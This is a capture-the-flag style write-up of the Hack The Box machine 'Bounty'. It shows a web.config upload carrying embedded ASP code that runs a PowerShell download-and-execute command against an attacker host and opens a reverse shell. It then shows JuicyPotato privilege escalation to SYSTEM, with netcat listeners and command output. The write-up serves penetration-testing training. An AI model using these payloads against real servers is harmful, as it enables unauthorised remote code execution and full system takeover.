TJ_Null’s OSCP Prep – HTB – Bounty
On this Windows machine I abused an upload vulnerability to get remote code execution. When trying to upload a webshell, I got an error message hinting that uploading a web.config was allowed. There is a great post about uploading a web.config with command execution possiblity. To elevate my privilege I used Juicy potato vulnerability to execute a PowerShell script that gave me a shell as NT AUTHORITY\SYSTEM.
Table Of Contents
Enumeration
I’ll start with an NMAP scan.
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/bounty]
└─# nmap -p- -sC -sV --min-rate 10000 10.10.10.93 -oN nmap.ver
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-03 14:58 EST
Nmap scan report for 10.10.10.93
Host is up (0.031s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
|_http-title: Bounty
|_http-server-header: Microsoft-IIS/7.5
| http-methods:
|_ Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
There is only one port open. Port 80 running IIS httpd 7.5. This version of IIS is telling me that this is a Windows Server 2008 R2.
Looking at the webserver.
There is a picture of Merlin the Wizard.
Directory brute force
I’ll use gobuster to do a directory brute force.
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/bounty]
└─# gobuster dir -u http://10.10.10.93 -w /usr/share/wordlists/dirb/common.txt -x php,aspx,sh,txt,c,vb
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.93
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,aspx,sh,txt,c,vb
[+] Timeout: 10s
===============================================================
2022/02/03 15:07:08 Starting gobuster in directory enumeration mode
===============================================================
/aspnet_client (Status: 301) [Size: 156] [--> http://10.10.10.93/aspnet_client/]
/transfer.aspx (Status: 200) [Size: 941]
/uploadedfiles (Status: 301) [Size: 156] [--> http://10.10.10.93/uploadedfiles/]
It found three directories. The two interesting directories here is /transfer.aspx and /uploadedfiles. This tells me that there is a possible upload vulnerability where I could upload a webshell and get command execution.
Uploading webshells
I tried many diferent ways to bypass server side filtering.
- ASPX is not allowed to upload.
- JPEG and PNG is allowed
- Editing MIME and magic numbers on the web shell did not work either.
- I also tried null byte technique where I add %00.png but that didnt work.
Error message
Looking at the error message we get a hint as of what type of file we could upload. Trying to upload a web.config file worked.
There is a great blogpost by Soroush Dalil about running ASP code in a web.config file. Looking at the code snippet below that I’ll upload, it will output the number 5. If I see the number 5 that means that I could run ASP code.
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
' it is running the ASP code if you can see 5 by opening the web.config file!
Response.write(1+4)
Response.write("<!-"&"-")
%>
-->
Upload web.config
Uploading the web.config with the ASP code at the bottom worked and I can run ASP code on the website.
Initial Access – Shell as Merlin
I’ll edit the web.config with the ASP code and a PowerShell command to download and run Nishang’s Invoke-ReverseTCP.ps1.
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/bounty]
└─# cat web.config 1 ⨯
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("cmd /c powershell -nop -exec bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.18:9000/shell.ps1')")
o = cmd.StdOut.Readall()
Response.write(o)
%>
-->
Visiting 10.10.10.93/uploadedfiles/web.config I get a response on my listener.
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/bounty]
└─# rlwrap nc -lvnp 4444 1 ⨯
listening on [any] 4444 ...
connect to [10.10.14.18] from (UNKNOWN) [10.10.10.93] 49162
Windows PowerShell running as user BOUNTY$ on BOUNTY
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
whoami
bounty\merlin
PS C:\windows\system32\inetsrv>
Enumerate machine
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
I have SeImpersonatePrivilege which mean I could abuse Juicy Potato.
SeImpersonatePrivilege (3.1.1)
Any process holding this privilege can impersonate (but not create) any token for which it is able to gethandle. You can get a privileged token from a Windows service (DCOM) making it perform an NTLM authentication against the exploit, then execute a process as SYSTEM. Exploit it with juicy-potato, RogueWinRM (needs winrm disabled), SweetPotato, PrintSpoofer.
https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/privilege-escalation-abusing-tokens
Privilege Escalation
To get NT AUTHORITY\SYSTEM privilege I’ll do the following:
- Create an exploit.bat file with the following command
powershell -nop -exec bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.18:9000/Invoke-PowerShellTcp.ps1')
This is the same code we used to get a reverse shell. I’ll addInvoke-PowerShellTcp -Reverse -IPAddress 10.10.14.18 -Port 5555
to the bottom of the nishang script. - Copy the exploit.bat and JuicyPotato.exe file to the target machine.
- Start a netcat listener
- And run Juicy Potato.
PS C:\Windows\Temp> ./JuicyPotato.exe -t * -p exploit.bat -l 4444
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both -p <program>: program to launch -l <port>: COM server listen port
Looking at my listener I have a connection and a shell as NT AUTHORITY\SYSTEM.
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/bounty]
└─# rlwrap nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.18] from (UNKNOWN) [10.10.10.93] 49180
Windows PowerShell running as user BOUNTY$ on BOUNTY
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Windows\system32>
whoami
nt authority\system
What I’ve learned
- Since I had the possibility to upload web.config file to the webserver I was able to run ASP code on the server by embedding ASP code at the bottom of the web.config file. And that way I could execute arbitrary code and get a reverse shell.
- Sice Merlin had SeImpersonatePrivilege enabled I could use Juicy Potato to get a reverse shell. Its important to be careful about what privilege sysadmins gives to a user.